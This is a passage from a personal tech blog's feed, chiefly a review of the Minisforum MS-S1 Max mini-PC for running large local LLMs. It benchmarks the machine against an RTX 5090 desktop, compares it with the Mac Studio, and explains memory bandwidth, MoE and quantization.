          <td><a href="https://www.racingwheelbrasil.com.br/produtos/volante-fanatec-csl-elite-mclaren-gt3-v2-pc-xbox-ps4-ps5-ready/"target="_blank" rel="noopener">Fanatec CSL Elite McLaren GT3 V2</a></td>
          <td style="text-align: right">~4,990</td>
          <td>Racing Wheel Brasil</td>
      </tr>
      <tr>
          <td><a href="https://fanatec.com/us/en/p/add-ons/crd-9040002-ww/clubsport-shifter-sq"target="_blank" rel="noopener">Fanatec ClubSport Shifter SQ V1.5</a></td>
          <td style="text-align: right">~2,500</td>
          <td>Fanatec</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/UX790-Pro.html"target="_blank" rel="noopener">Minisforum UX790 Pro</a></td>
          <td style="text-align: right">~5,000</td>
          <td>Minisforum</td>
      </tr>
      <tr>
          <td><a href="https://www.minisforum.com/products/minisforum-deg1-egpu-dock"target="_blank" rel="noopener">Minisforum DEG1 eGPU Dock</a> + RTX 4090</td>
          <td style="text-align: right">~12,000</td>
          <td>Minisforum / bought separately</td>
      </tr>
      <tr>
          <td>PlayStation 5 + <a href="https://dbrand.com/shop/limited-edition/ps5"target="_blank" rel="noopener">dbrand Darkplates</a></td>
          <td style="text-align: right">~4,500</td>
          <td>Sony / dbrand</td>
      </tr>
      <tr>
          <td><a href="https://www.samsung.com/br/monitors/gaming/odyssey-oled-g8-g81sf-32-inch-240hz-oled-uhd-ls32fg810snxzd/"target="_blank" rel="noopener">Samsung Odyssey OLED G8 32&quot;</a></td>
          <td style="text-align: right">~2,500</td>
          <td>Samsung</td>
      </tr>
      <tr>
          <td><a href="https://www.amazon.com.br/dp/B00MNGIP2Y"target="_blank" rel="noopener">OREI BK-21A HDMI 2.1 Switcher 2x1 with audio extraction</a></td>
          <td style="text-align: right">~450</td>
          <td>Amazon</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/amplificador-de-potncia-aiyima-d03-bluetooth-50-150-watts-cor-preto/p/MLB46172770"target="_blank" rel="noopener">Aiyima D03 Amplifier</a></td>
          <td style="text-align: right">~900</td>
          <td>Mercado Livre</td>
      </tr>
      <tr>
          <td><a href="https://edifier.com.br/caixa-de-som-passiva-p12-madeira-edifier.html"target="_blank" rel="noopener">Edifier P12 (pair)</a></td>
          <td style="text-align: right">~799</td>
          <td>Edifier</td>
      </tr>
      <tr>
          <td><a href="https://www.mercadolivre.com.br/fones-de-ouvido-meze-audio-109-pro-com-fio-de-madeira-com-en/p/MLB42456685"target="_blank" rel="noopener">Meze 109 Pro</a></td>
          <td style="text-align: right">~5,390</td>
          <td>Mercado Livre / Heinrich Audio</td>
      </tr>
      <tr>
          <td>Cables (HDMI 2.1, optical, 3.5mm, power)</td>
          <td style="text-align: right">~300</td>
          <td>Various</td>
      </tr>
      <tr>
          <td><strong>TOTAL ESTIMATED</strong></td>
          <td style="text-align: right"><strong>~56,709</strong></td>
          <td></td>
      </tr>
  </tbody>
</table>
<p>Yes, almost R$ 57k is a lot of money. I worked like a dog for decades. Now that I&rsquo;ve managed to retire honestly, my family is well taken care of, I have no debts, and I can finally give myself something I always wanted as a kid but couldn&rsquo;t afford. When I sat at those OutRun and Daytona USA cabinets at the arcade, I dreamed of having something like this at home. It took 30-something years, but I got there.</p>
<p>And if you add up the years of kludges, stands that didn&rsquo;t work, 15-meter HDMI cables, 3D prints, machined steel plates, and the frustration of mounting and unmounting everything — a dedicated cockpit saves your sanity. Unlike a PC that depreciates fast, a steel cockpit lasts decades.</p>
]]></content:encoded><category>gaming</category><category>hardware</category><category>off-topic</category></item><item><title>Review: Minisforum MS-S1 Max | AMD AI Max+ 395 with 96GB of VRAM</title><link>https://www.akitaonrails.com/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/</guid><pubDate>Tue, 31 Mar 2026 15:00:00 -0300</pubDate><description>&lt;p&gt;If you&amp;rsquo;ve been following my &lt;a href="https://www.akitaonrails.com/en/2024/04/03/my-personal-netflix-with-docker-compose/"&gt;home server posts&lt;/a&gt;, you know I used to run everything on an Intel NUC Core i7 with 32GB of RAM. It worked. But as open source AI models grew, the NUC became the bottleneck. Without a dedicated GPU, any LLM inference would fall back to the CPU and turn unusable.&lt;/p&gt;
&lt;p&gt;I bought a Minisforum MS-S1 Max with the new AMD Ryzen AI Max+ 395 chip for one specific reason: this chip supports up to 128GB of unified RAM, and I can allocate 96GB of it as VRAM for the iGPU. That gives me more VRAM than any consumer gaming card, including the RTX 5090 (32GB). And that changes what I can run locally.&lt;/p&gt;</description><content:encoded><![CDATA[<p>If you&rsquo;ve been following my <a href="/en/2024/04/03/my-personal-netflix-with-docker-compose/">home server posts</a>, you know I used to run everything on an Intel NUC Core i7 with 32GB of RAM. It worked. But as open source AI models grew, the NUC became the bottleneck. Without a dedicated GPU, any LLM inference would fall back to the CPU and turn unusable.</p>
<p>I bought a Minisforum MS-S1 Max with the new AMD Ryzen AI Max+ 395 chip for one specific reason: this chip supports up to 128GB of unified RAM, and I can allocate 96GB of it as VRAM for the iGPU. That gives me more VRAM than any consumer gaming card, including the RTX 5090 (32GB). And that changes what I can run locally.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-desk.jpg" alt="Minisforum MS-S1 Max on the desk"  loading="lazy" /></p>
<h2>Why ditch the Intel NUC<span class="hx:absolute hx:-mt-20" id="why-ditch-the-intel-nuc"></span>
    <a href="#why-ditch-the-intel-nuc" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The NUC was a fine Docker server for two years. But the limitation was clear: without a GPU with enough VRAM, I couldn&rsquo;t run LLMs locally in any usable way. <a href="https://github.com/akitaonrails/FrankYomik"target="_blank" rel="noopener">Frank Yomik</a>, my automatic manga translation system, needed CPU-based OCR (slow) and would connect remotely to the Ollama running on my desktop (AMD 7950X3D + RTX 5090) for translation. It worked, but it meant my desktop had to be on for the server to do its job.</p>
<p><img src="https://raw.githubusercontent.com/akitaonrails/FrankYomik/master/docs/sample_translate.png" alt="Frank Yomik - automatic manga translation"  loading="lazy" /></p>
<p>With the Minisforum, Frank Yomik now runs entirely on the server. The worker uses ROCm for OCR on the iGPU, and Ollama runs locally with 96GB of VRAM. Zero dependency on the desktop.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-nuc-compare.jpg" alt="Comparison: Intel NUC (left) vs Minisforum MS-S1 Max (right)"  loading="lazy" /></p>
<p>You can get a sense of the size from the photo. The NUC is the tiny cube on the left. The Minisforum is bigger but it&rsquo;s still a mini-PC. It fits on the rack shelf under my Synology NAS without any trouble.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-shelf.jpg" alt="Minisforum installed on the shelf, next to the NAS"  loading="lazy" /></p>
<h2>The specs<span class="hx:absolute hx:-mt-20" id="the-specs"></span>
    <a href="#the-specs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/blog/2026/03/31/minisforum-fastfetch.png" alt="fastfetch on the Minisforum"  loading="lazy" /></p>
<p>The chip is the AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, with an integrated Radeon 8060S iGPU and 128GB of unified LPDDR5X. In the BIOS, I set the UMA Frame Buffer Size to 96GB, which leaves ~30GB of RAM for the operating system and containers. Plus the kernel parameters for TTM (without them, ROCm only sees 15.5GB even with the BIOS allocation in place).</p>
<p>The operating system is openSUSE MicroOS (more on that in the <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">next post</a>). The whole machine pulls under 100W, which is absurd if you&rsquo;re used to dedicated GPUs that draw 450W+ on their own.</p>
<h2>Minisforum vs my desktop: benchmarks<span class="hx:absolute hx:-mt-20" id="minisforum-vs-my-desktop-benchmarks"></span>
    <a href="#minisforum-vs-my-desktop-benchmarks" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I ran a <a href="https://github.com/akitaonrails/homelab-docs/tree/master/benchmarks"target="_blank" rel="noopener">set of benchmarks</a> comparing the Minisforum against my desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). The results are clear.</p>
<h3>CPU<span class="hx:absolute hx:-mt-20" id="cpu"></span>
    <a href="#cpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Test</th>
          <th>7950X3D</th>
          <th>AI Max+ 395</th>
          <th>Winner</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Prime sieve (single-core)</td>
          <td>0.021s</td>
          <td>0.018s</td>
          <td>Strix Halo +14%</td>
      </tr>
      <tr>
          <td>Float pi (single-core)</td>
          <td>1.335s</td>
          <td>1.706s</td>
          <td>7950X3D +28%</td>
      </tr>
      <tr>
          <td>Multi-core sieve (32 threads)</td>
          <td>0.181s</td>
          <td>0.118s</td>
          <td>Strix Halo +53%</td>
      </tr>
      <tr>
          <td>SHA-256 throughput</td>
          <td>2.714 MB/s</td>
          <td>2.488 MB/s</td>
          <td>7950X3D +9%</td>
      </tr>
      <tr>
          <td>AES-256-CBC throughput</td>
          <td>1.613 MB/s</td>
          <td>1.410 MB/s</td>
          <td>7950X3D +14%</td>
      </tr>
  </tbody>
</table>
<p>Mixed results. The AI Max+ 395 is better at pure parallelism (multi-core sieve), probably thanks to lower latency in the unified memory architecture. The 7950X3D wins at float and crypto because of its higher clocks and the 3D V-Cache.</p>
<h3>LLM inference (models that fit on both)<span class="hx:absolute hx:-mt-20" id="llm-inference-models-that-fit-on-both"></span>
    <a href="#llm-inference-models-that-fit-on-both" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is where it gets interesting. For models that fit in the 32GB of the RTX 5090, the comparison is purely about memory bandwidth:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>5090 advantage</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>9.1 GB</td>
          <td>155.1</td>
          <td>23.2</td>
          <td>6.7x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>9.3 GB</td>
          <td>138.9</td>
          <td>22.6</td>
          <td>6.1x</td>
      </tr>
      <tr>
          <td>phi4-reasoning</td>
          <td>11.1 GB</td>
          <td>130.2</td>
          <td>19.1</td>
          <td>6.8x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>20.2 GB</td>
          <td>66.9</td>
          <td>10.0</td>
          <td>6.7x</td>
      </tr>
  </tbody>
</table>
<p>The RTX 5090 is ~7x faster. The explanation is simple: GDDR7 has ~1,792 GB/s of bandwidth. LPDDR5X has ~256 GB/s. The ratio (7x) lines up almost exactly with the measured speed difference (6.7x). LLM inference is a problem dominated by memory bandwidth. Whoever reads weights faster, generates tokens faster.</p>
<h3>And what about prompt processing?<span class="hx:absolute hx:-mt-20" id="and-what-about-prompt-processing"></span>
    <a href="#and-what-about-prompt-processing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Model</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>5090 advantage</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>~1,933</td>
          <td>~212</td>
          <td>9.1x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>~1,474</td>
          <td>~155</td>
          <td>9.5x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>~767</td>
          <td>~68</td>
          <td>11.3x</td>
      </tr>
  </tbody>
</table>
<p>Prompt processing is even worse: 7-11x slower. That makes sense, because the prompt has to be processed in full before generating the first token, and it&rsquo;s an even more bandwidth-intensive operation.</p>
<h3>Where the Strix Halo wins: large models<span class="hx:absolute hx:-mt-20" id="where-the-strix-halo-wins-large-models"></span>
    <a href="#where-the-strix-halo-wins-large-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Now we get to the reason I bought this PC. Models that don&rsquo;t fit in the RTX 5090:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size</th>
          <th>Strix Halo (tok/s)</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>gpt-oss:20b</td>
          <td>13.8 GB MXFP4</td>
          <td>48.9</td>
          <td>MoE, faster than expected</td>
      </tr>
      <tr>
          <td>qwen3.5:35b</td>
          <td>23.9 GB</td>
          <td>43.2</td>
          <td>MoE, only ~4B active params</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>51.7 GB</td>
          <td>29.5</td>
          <td>MoE, 50GB+</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81.4 GB Q4_K_M</td>
          <td>19.2</td>
          <td>122B params, MoE</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>59.9 GB</td>
          <td>17.9</td>
          <td>Full precision bf16</td>
      </tr>
      <tr>
          <td>qwen2.5:72b</td>
          <td>47.4 GB Q4_K_M</td>
          <td>4.5</td>
          <td>Dense 72B, bandwidth-limited</td>
      </tr>
  </tbody>
</table>
<p>qwen3.5:122b with 81GB of weights running at 19 tok/s. On a mini-PC. That&rsquo;s simply not possible on an RTX 5090. On the NVIDIA card, that model would have to offload layers to system RAM, dropping to 2-3 tok/s. In practice, unusable.</p>
<p>The difference between MoE and dense models is brutal. qwen3.5:35b runs at 43 tok/s because, despite having 35B total parameters, only ~4B are active per token. A dense 72B model like qwen2.5:72b has to read 40GB+ of weights per token, and at 256 GB/s of bandwidth, the theoretical maximum is ~6.7 tok/s. The 4.5 measured represent ~67% efficiency, which is what you&rsquo;d expect for an iGPU (overhead from shared bus and drivers).</p>
<h3>Summary: when to use which machine<span class="hx:absolute hx:-mt-20" id="summary-when-to-use-which-machine"></span>
    <a href="#summary-when-to-use-which-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Use case</th>
          <th>Best machine</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Interactive chat/coding (models &lt;32GB)</td>
          <td>RTX 5090 (6-7x faster)</td>
      </tr>
      <tr>
          <td>Large models (50GB+)</td>
          <td>Strix Halo (only option)</td>
      </tr>
      <tr>
          <td>Dense 70B+ models</td>
          <td>Strix Halo (only option)</td>
      </tr>
      <tr>
          <td>Full-precision bf16</td>
          <td>Strix Halo (only option)</td>
      </tr>
      <tr>
          <td>Batch processing with long context</td>
          <td>Strix Halo (more VRAM for KV cache)</td>
      </tr>
      <tr>
          <td>API serving with low latency</td>
          <td>RTX 5090 (sub-150ms TTFT)</td>
      </tr>
  </tbody>
</table>
<h3>A ROCm bug that&rsquo;s still around<span class="hx:absolute hx:-mt-20" id="a-rocm-bug-thats-still-around"></span>
    <a href="#a-rocm-bug-thats-still-around" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Not everything works. Models like deepseek-r1:70b, llama3.3:70b and llama4:scout crash with a ggml bug (<code>GGML_ASSERT(ggml_nbytes(src0) &lt;= INT_MAX) failed</code>). The embedding tensor of these models exceeds 2GB and the ROCm copy kernel uses a 32-bit integer for the size. On CUDA (NVIDIA) it&rsquo;s already been fixed, but on ROCm it hasn&rsquo;t. Waiting for the fix in Ollama 0.20.0+.</p>
<h2>LPDDR5X vs GDDR7: why this difference exists<span class="hx:absolute hx:-mt-20" id="lpddr5x-vs-gddr7-why-this-difference-exists"></span>
    <a href="#lpddr5x-vs-gddr7-why-this-difference-exists" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The next question is: why is LPDDR5X so much slower?</p>
<p>GDDR7 is dedicated GPU memory. It&rsquo;s soldered onto the graphics card, connected by a wide bus (384 or 512 bits on the RTX 5090) at high clocks. Its only job is to feed data to the GPU. LPDDR5X is unified memory that serves everything: the operating system, applications, and the GPU all at once. The bus is narrower and shared.</p>
<p>In practice: GDDR7 delivers ~1,792 GB/s dedicated to the GPU. LPDDR5X delivers ~256 GB/s that still need to be split between CPU and GPU. LLM inference is basically &ldquo;read all the model weights from memory, multiply by the current token, generate the next token, repeat.&rdquo; Whoever reads faster, generates faster. There&rsquo;s no shortcut.</p>
<p>The Strix Halo&rsquo;s advantage isn&rsquo;t speed. It&rsquo;s capacity. 96GB of VRAM in a 100W chip that costs a fraction of a professional GPU. The RTX 5090 is 7x faster, but it&rsquo;s stuck at 32GB. Models that don&rsquo;t fit, don&rsquo;t run.</p>
<h2>The alternatives: who else does this?<span class="hx:absolute hx:-mt-20" id="the-alternatives-who-else-does-this"></span>
    <a href="#the-alternatives-who-else-does-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If 96GB isn&rsquo;t enough or you want more speed, the options are limited.</p>
<p>The Framework Desktop uses the same AI Max+ 395 chip with up to 128GB of RAM. Same platform, same performance, but with the differential of being modular and repairable (it&rsquo;s Framework, after all). In practice it&rsquo;s equivalent to the Minisforum on specs and price.</p>
<p>Above that, the alternative is a Mac Studio with M3 Ultra. The M3 Ultra chip supports up to 512GB of unified memory, with ~819 GB/s of bandwidth (more than 3x the Strix Halo). Apple manufactures the memory chips on the package, so latency and bandwidth are superior. You could potentially allocate ~400GB as VRAM and run models that don&rsquo;t fit anywhere outside of professional GPU servers.</p>
<p>Apple&rsquo;s internal NVMe is also another level: ~7.4 GB/s of sequential read on the M3 Ultra, compared with ~14 GB/s on the Crucial T700 (PCIe 5.0). The T700 is faster on raw throughput, but Apple&rsquo;s NVMe latency tends to be lower on random I/O thanks to the SoC integration.</p>
<table>
  <thead>
      <tr>
          <th>Spec</th>
          <th>Minisforum MS-S1 Max</th>
          <th>Mac Studio M3 Ultra (max)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Max RAM</td>
          <td>128 GB LPDDR5X</td>
          <td>512 GB unified</td>
      </tr>
      <tr>
          <td>Allocatable VRAM</td>
          <td>~96 GB</td>
          <td>~400 GB</td>
      </tr>
      <tr>
          <td>Memory bandwidth</td>
          <td>~256 GB/s</td>
          <td>~819 GB/s</td>
      </tr>
      <tr>
          <td>CPU</td>
          <td>Zen 5, 16C/32T</td>
          <td>Apple M3 Ultra, 32C</td>
      </tr>
      <tr>
          <td>GPU compute</td>
          <td>ROCm (gfx1151, experimental)</td>
          <td>Metal (mlx, mature)</td>
      </tr>
      <tr>
          <td>Power draw</td>
          <td>~100W</td>
          <td>~135W</td>
      </tr>
      <tr>
          <td>NVMe</td>
          <td>PCIe 5.0 (standard slot)</td>
          <td>Custom Apple (~7.4 GB/s)</td>
      </tr>
      <tr>
          <td>Price (US)</td>
          <td>~$1,500-2,000</td>
          <td>~$9,999 (512GB config)</td>
      </tr>
      <tr>
          <td>Estimated price (Brazil)</td>
          <td>~R$ 12,000-15,000</td>
          <td>~R$ 110,000+ (imported)</td>
      </tr>
  </tbody>
</table>
<p>The Brazilian price is the elephant in the room. The Mac Studio&rsquo;s max config costs $9,999 in the US. With import taxes (~60% + state ICMS), it goes past R$ 110,000. The Minisforum with 128GB lands at R$ 12,000-15,000. A nearly 8x price gap buys you a lot.</p>
<p>If you need more than 96GB of VRAM for truly enormous models (DeepSeek-V3 with 671B parameters fits in ~400GB Q4, for example), the Mac Studio with 512GB is the only consumer option. The alternative would be professional NVIDIA A6000 GPUs (48GB VRAM, ~$6,000 each, and you&rsquo;d need several in NVLink). For everything that fits in 96GB, the Minisforum gets the job done at a fraction of the cost.</p>
<h2>And projects that promise to run big LLMs on small GPUs?<span class="hx:absolute hx:-mt-20" id="and-projects-that-promise-to-run-big-llms-on-small-gpus"></span>
    <a href="#and-projects-that-promise-to-run-big-llms-on-small-gpus" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s a concept called &ldquo;layer offloading&rdquo; that projects like llama.cpp already support. The idea: if the model doesn&rsquo;t fit fully in VRAM, keep some layers on the GPU and the rest in system RAM. The GPU processes the layers it has, hands off to the CPU to process the rest, and back.</p>
<p>In practice, it doesn&rsquo;t work well. The bottleneck is PCIe: transfer speed between system RAM and GPU VRAM is ~32 GB/s (PCIe 5.0 x16). Each generated token needs to transfer data back and forth. The result is that you drop from 150 tok/s (everything in VRAM) to 2-8 tok/s (partial offload). It&rsquo;s too slow for interactive use.</p>
<p>VRAM is the fundamental limitation because LLM inference is memory-bandwidth-bound, not compute-bound. The GPU has compute to spare. What&rsquo;s missing is the ability to read the model weights fast enough. When part of the weights live in system RAM through PCIe, the entire pipeline waits on the transfer.</p>
<p>That&rsquo;s why unified memory (like in the Strix Halo or Apple Silicon) makes a difference. There&rsquo;s no PCIe in the middle. CPU and GPU access the same physical memory. The Strix Halo&rsquo;s 256 GB/s is slow compared to GDDR7, but it&rsquo;s 8x faster than offloading through PCIe.</p>
<h2>Advances in LLM optimization (up to 2026)<span class="hx:absolute hx:-mt-20" id="advances-in-llm-optimization-up-to-2026"></span>
    <a href="#advances-in-llm-optimization-up-to-2026" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To understand why some models run so much better than others on the Strix Halo, you have to understand what&rsquo;s changed in the ecosystem over the last two years.</p>
<h3>Mixture of Experts (MoE)<span class="hx:absolute hx:-mt-20" id="mixture-of-experts-moe"></span>
    <a href="#mixture-of-experts-moe" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If you run local models, MoE is the advance that matters most. An MoE model has high total parameters (e.g. 122B in qwen3.5:122b), but only activates a fraction of them per token (e.g. ~4B). The inactive weights stay in VRAM but aren&rsquo;t read on every token, which drastically reduces the bandwidth needed.</p>
<p>In the Strix Halo benchmarks, MoE models run 3-10x faster than dense models of the same size. qwen3.5:35b (MoE, ~4B active) runs at 43 tok/s while qwen2.5:72b (dense, 72B active) runs at 4.5 tok/s.</p>
<h3>DeepSeek and training optimization<span class="hx:absolute hx:-mt-20" id="deepseek-and-training-optimization"></span>
    <a href="#deepseek-and-training-optimization" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>DeepSeek V3 (December 2024) showed that it was possible to train 671B parameter models at a cost an order of magnitude lower than predicted. They combined MoE with FP8 quantization during training (not just inference), multi-stage training with curriculum learning, and several inter-GPU communication optimizations. The impact: everyone copied. Qwen, GLM, MiniMax, all of them adopted variations of the technique.</p>
<h3>Quantization: from FP16 to Q4 without losing much<span class="hx:absolute hx:-mt-20" id="quantization-from-fp16-to-q4-without-losing-much"></span>
    <a href="#quantization-from-fp16-to-q4-without-losing-much" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Quantization compresses model weights from 16 bits (FP16) to smaller formats: 8 bits (Q8), 4 bits (Q4), or even 2 bits. A 70B model that would take ~140GB in FP16 fits in ~40GB at Q4_K_M. Quality loss exists, but in modern formats (GGUF Q4_K_M, AWQ, EXL2) it&rsquo;s small enough for practical use.</p>
<p>GGUF (the llama.cpp format) became the standard for local inference. AWQ and GPTQ are alternatives with more sophisticated calibration, but the ecosystem converged on GGUF because it works on CPU, CUDA and ROCm without recompilation.</p>
<h3>Distillation: smaller models that know more<span class="hx:absolute hx:-mt-20" id="distillation-smaller-models-that-know-more"></span>
    <a href="#distillation-smaller-models-that-know-more" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Distillation is training a small model using the responses of a large model as the teacher. Microsoft&rsquo;s Phi-4 (14B) was trained with distillation from GPT-4 and competes with 70B models on several benchmarks. Qwen3 did the same: qwen3:14b is surprisingly capable for its size.</p>
<h3>Flash Attention and optimized KV Cache<span class="hx:absolute hx:-mt-20" id="flash-attention-and-optimized-kv-cache"></span>
    <a href="#flash-attention-and-optimized-kv-cache" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Flash Attention (Tri Dao, 2022) changed how attention is computed: instead of materializing the full attention matrix in memory, it processes in blocks keeping the data in the GPU&rsquo;s on-chip SRAM, reducing memory consumption from O(n²) to O(n). Without that, contexts of 128K+ tokens would be impractical. It already went through versions 2 and 3, with optimizations for FP8 and async operations on H100. PagedAttention (vLLM, UC Berkeley) did the same for the KV cache during serving: applies virtual memory concepts to the cache, eliminating fragmentation and improving throughput by 2-4x.</p>
<p>In Ollama, I set <code>OLLAMA_FLASH_ATTENTION=1</code> and <code>OLLAMA_KV_CACHE_TYPE=q8_0</code> on the server. The first activates flash attention, the second uses 8-bit KV cache instead of fp16, cutting the bandwidth needed per token in half. These are zero-hardware-cost optimizations that improve throughput measurably.</p>
<h3>What Qwen, Kimi, MiniMax and GLM are doing<span class="hx:absolute hx:-mt-20" id="what-qwen-kimi-minimax-and-glm-are-doing"></span>
    <a href="#what-qwen-kimi-minimax-and-glm-are-doing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Qwen (Alibaba) has consistently been the best price/performance in open source models. Qwen3:14b is dense and strong; Qwen3.5:122b is MoE and runs surprisingly well in 96GB. GLM-4.7 (Zhipu AI) is notable for offering bf16 full precision versions that fit in 96GB. MiniMax experimented with long contexts (up to 4M tokens). Kimi (Moonshot AI) focused on large context windows with linear architectures.</p>
<h3>What runs well in 96GB of VRAM<span class="hx:absolute hx:-mt-20" id="what-runs-well-in-96gb-of-vram"></span>
    <a href="#what-runs-well-in-96gb-of-vram" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>With 96GB on the Strix Halo, the models that work well for daily use:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size</th>
          <th>tok/s</th>
          <th>Use</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>qwen3.5:35b</td>
          <td>24 GB</td>
          <td>43.2</td>
          <td>General purpose, excellent</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>52 GB</td>
          <td>29.5</td>
          <td>Code, MoE</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81 GB</td>
          <td>19.2</td>
          <td>Heavy but usable</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>60 GB</td>
          <td>17.9</td>
          <td>Full precision</td>
      </tr>
      <tr>
          <td>qwen2.5-coder:32b</td>
          <td>20 GB</td>
          <td>10.2</td>
          <td>Code, dense</td>
      </tr>
      <tr>
          <td>deepseek-r1:32b</td>
          <td>20 GB</td>
          <td>7.4</td>
          <td>Reasoning</td>
      </tr>
  </tbody>
</table>
<p>Dense 70B+ models (deepseek-r1:70b, llama3.3:70b) are still blocked by the ROCm bug I mentioned. When it gets fixed, they should run at ~4-6 tok/s, usable for batch but not for interactive chat.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I bought the Minisforum to run models that don&rsquo;t fit in any gaming GPU. For that, it works. It&rsquo;s not fast. 19 tok/s on a 122B model isn&rsquo;t the experience you get with Claude or ChatGPT. But it&rsquo;s local, it&rsquo;s private, and it runs on my shelf consuming less power than an old lightbulb.</p>
<p>For people asking about the Mac Studio: if you have the budget, it&rsquo;s the best machine for running local LLMs. 512GB of unified memory, 819 GB/s of bandwidth, mature Metal/mlx ecosystem. You can run DeepSeek-V3 in full Q4. But in Brazil, with import duties, it crosses R$ 110k. The Minisforum with 128GB at R$ 12-15k is the realistic option.</p>
<p>And for people who think you can work around the VRAM limitation with layer offloading: you can&rsquo;t. PCIe is too slow. The model has to fit fully in VRAM for inference to be usable. It&rsquo;s the reason gaming GPUs with 32GB of ultra-fast GDDR7 are still capped on model size, and why the unified memory of the Strix Halo and Apple Silicon changed the equation.</p>
<p>In the <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">next post</a> I tell the story of how I migrated the entire home server to the Minisforum using Claude Code, the problems I ran into, and how openSUSE MicroOS behaves as a Docker server operating system.</p>
]]></content:encoded><category>hardware</category><category>local-models</category><category>performance</category><category>reviews</category></item><item><title>AI 3D: Can You Actually Model 3D With Prompts Now?</title><link>https://www.akitaonrails.com/en/2026/01/23/ai-3d-can-you-actually-model-3d-with-prompts-now/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/01/23/ai-3d-can-you-actually-model-3d-with-prompts-now/</guid><pubDate>Fri, 23 Jan 2026 12:13:58 -0300</pubDate><description>&lt;p&gt;A few days ago I wrote a post about using Blender with local AIs through Blender MCP. The conclusion was that quality was bad.&lt;/p&gt;
&lt;p&gt;I jumped to that conclusion too early. Open source options still vary a lot in quality, most aren&amp;rsquo;t great, but the commercial options are very good and quite stable. I&amp;rsquo;m not going to list everything out there, so here are my two YouTube channel recommendations to stay up to date:&lt;/p&gt;</description><content:encoded><![CDATA[<p>A few days ago I wrote a post about using Blender with local AIs through Blender MCP. The conclusion was that quality was bad.</p>
<p>I jumped to that conclusion too early. Open source options still vary a lot in quality, most aren&rsquo;t great, but the commercial options are very good and quite stable. I&rsquo;m not going to list everything out there, so here are my two YouTube channel recommendations to stay up to date:</p>
<ul>
<li><a href="https://www.youtube.com/@PixelArtistry_"target="_blank" rel="noopener"><strong>PixelArtistry_</strong></a></li>
<li><a href="https://www.youtube.com/channel/UCRW08KcTVjXEmBzBsVl7XjA"target="_blank" rel="noopener"><strong>Stefan 3D AI Lab</strong></a></li>
</ul>
<p>In practice, there are several ComfyUI workflows to play with, like this tutorial showing how to use the <a href="https://www.youtube.com/watch?v=H7gqMnK7wUc"target="_blank" rel="noopener">recently released Trellis2 model</a> from Microsoft. It doesn&rsquo;t work perfectly like in the video every time. It depends heavily on the image you feed it. In my tests I only got deformed &ldquo;blobs&rdquo;.</p>
<p>But on the commercial side, there are 3 tools worth signing up for:</p>
<ul>
